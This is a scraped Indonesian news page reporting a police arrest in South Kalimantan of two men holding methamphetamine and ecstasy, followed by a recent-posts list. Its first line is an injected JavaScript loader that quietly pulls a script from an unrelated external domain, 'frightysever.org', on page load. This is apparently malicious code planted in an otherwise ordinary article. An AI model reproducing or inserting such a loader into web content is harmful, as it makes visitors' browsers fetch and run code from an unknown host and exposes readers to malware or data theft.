(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Ditresnarkoba Polda Kalsel Ringkus 2 Pria Simpan 21 Paket Sabu dan 7 Butir Ekstasi


KANALKALIMANTAN.COM, BANJARMASIN– Ditresnarkoba Polda Kalsel meringkus dua orang tersangka yang kedapatan menyimpan 21 paket sabu dan 7 butir ekstasi, Senin (21/6/2021).

Tersangka berinisial ZN (46) tak berkutik setelah polisi menemukan sejumlah narkoba di rumahnya.

Di rumahnya, warga Jalan A Yani Km 8, Simpang 3 Cekdam, Kelurahan Pandan Sari, Kecamatan Kintap, Kabupaten Tanah Laut, polisi menemukan 8 paket sabu dan 7 butir ekstasi warna merah logo huruf A, tersimpan di dalam botol warna biru di bawah kasur.

Pada saat penggeledahan di kediaman tersangka dipimpin Kasubdit III Ditresnarkoba Polda Kalsel, AKBP Niko Irawan. Penggerebekan ZN setelah polisi memperoleh informasi akurat tentang tersangka yang diduga memiliki narkoba di rumahnya.

Setelah penggeledahan di rumah ZN, polisi meyakini masih ada tambahan barang bukti lain yang disembunyikan oleh tersangka.

 

 

Dan pada saat dilakukan penggeledahan kembali, ditemukan 13 paket sabu di dapur. Tapi menurut ZN, barang tersebut milik orang lain berinisial SD (29) yang tinggal berdekatan dengan rumah pelaku.

Baca juga: Reforma Agraria di Kalsel Kini Sasar Kabupaten Tapin, HSU, dan Tabalong 

Tak lama setelah mendengar pengakuan tersebut, polisi bergegas menuju rumah SD yang berprofesi petani. Keduanya pun kemudian dibawa Ditresnarkoba Polda Kalsel guna proses penyidikan.

Direktur Ditresnarkoba Polda Kalsel, Kombes Pol Tri Wahyudi melalui Kasubdit III, AKBP Niko Irawan saat dikonfirmasi, Rabu (23/6/2021) membenarkan telah mengamankan kedua tersangka narkotika tersebut.

“Total barang bukti yang kita dapatkan sebanyak, 21 paket sabu dengan berat bersih 12,43 gram, dan 7 butir ekstasi,” ucapnya.

Untuk mempertanggungjawabkan perbuatannya, kini ZN dan SD dikenakan pasal 114 ayat (2) sub pasal 112 ayat (2) jo pasal 132 ayat (1) UU RI Nomor 35 tahun 2009 tentang Narkotika. (Kanalkalimantan.com/shintia)

Reporter: shintia
Editor: cell


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.